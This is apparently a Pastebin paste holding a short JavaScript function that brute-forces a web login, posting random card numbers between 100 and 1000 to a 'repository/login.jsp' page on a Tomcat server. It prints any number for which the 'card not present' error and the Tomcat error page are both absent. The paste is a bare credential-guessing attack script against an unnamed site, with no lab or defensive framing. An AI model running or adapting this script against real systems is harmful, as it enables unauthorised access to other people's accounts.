Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function bfPin(){
- let min=100;
- let max=1000;
- askGetPage(forceUrl +"repository/login.jsp", function(err, body){
- let req = {
- userCard: Math.floor(Math.random()*(max-min+1)+min),
- submitLogin: "Entra"
- };
- console.log("Try pin: ", req.userCard);
- askPostPage(forceUrl + "repository/login.jsp", req, function (err, body) {
- let found = body.indexOf("Numero Card non presente in archivio") <= -1 &&
- body.indexOf("Apache Tomcat/6.0.45 - Error report")<=-1 ;
- if(found) {
- console.log("FOUNDED", req.userCard);
- process.exit(0);
- }
- else{
- bfPin();
- }
- })
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement